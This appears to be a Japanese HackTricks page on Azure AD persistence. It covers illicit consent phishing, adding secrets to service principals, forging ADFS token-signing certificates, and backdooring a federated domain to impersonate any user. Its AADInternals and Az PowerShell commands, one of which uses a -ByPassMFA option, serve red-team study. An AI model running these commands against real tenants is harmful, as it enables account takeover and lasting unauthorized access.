Az - Persistence

HackTricksのサポート

不正な同意付与

デフォルトでは、任意のユーザーがAzure ADでアプリケーションを登録できます。したがって、管理者の同意(管理者であれば承認する)が必要な高い影響権限を必要とするアプリケーションを登録できます(対象テナントのみ)。これにより、フィッシング攻撃を実行でき、成功すれば非常に有益になります。

さらに、そのアプリケーションを自分のユーザーで受け入れることもでき、アクセスを維持する手段として使用できます。

アプリケーションとサービス プリンシパル

Application Administrator、GA、またはmicrosoft.directory/applications/credentials/update権限を持つカスタムロールで、既存のアプリケーションに資格情報(シークレットまたは証明書)を追加できます。

高い権限を持つアプリケーションを対象にするか、高い権限を持つ新しいアプリケーションを追加することが可能です。

アプリケーションに追加する興味深いロールは特権認証管理者ロールであり、これによりグローバル管理者のパスワードをリセットできます。

このテクニックはまた、MFAをバイパスすることも可能です。

$passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
  • 証明書ベースの認証

Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>

フェデレーション - トークン署名証明書

オンプレミスADDA権限を持っている場合、非常に長い有効期間を持つ新しいトークン署名およびトークン復号証明書を作成およびインポートすることが可能です。これにより、私たちはImuutableIDを知っている任意のユーザーとしてログインすることができます。

以下のコマンドをADFSサーバー上のDAとして実行して、新しい証明書を作成し(デフォルトパスワードは 'AADInternals')、それらをADFSに追加し、自動ロールオーバーを無効にしてサービスを再起動します:

New-AADIntADFSSelfSignedCertificates

その後、Azure ADで証明書情報を更新します:

Update-AADIntADFSFederationSettings -Domain cyberranges.io

フェデレーション - 信頼されたドメイン

テナントでGA権限を持っている場合、新しいドメインを追加することが可能で、そのドメインの認証タイプをフェデレーテッドに構成し、ドメインを特定の証明書(以下のコマンドのany.sts)と発行者を信頼するように構成できます。

# Using AADInternals
ConvertTo-AADIntBackdoor -DomainName cyberranges.io

# Get ImmutableID of the user that we want to impersonate. Using Msol module
Get-MsolUser | select userPrincipalName,ImmutableID

# Access any cloud app as the user
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true

参照

HackTricksのサポート

Last updated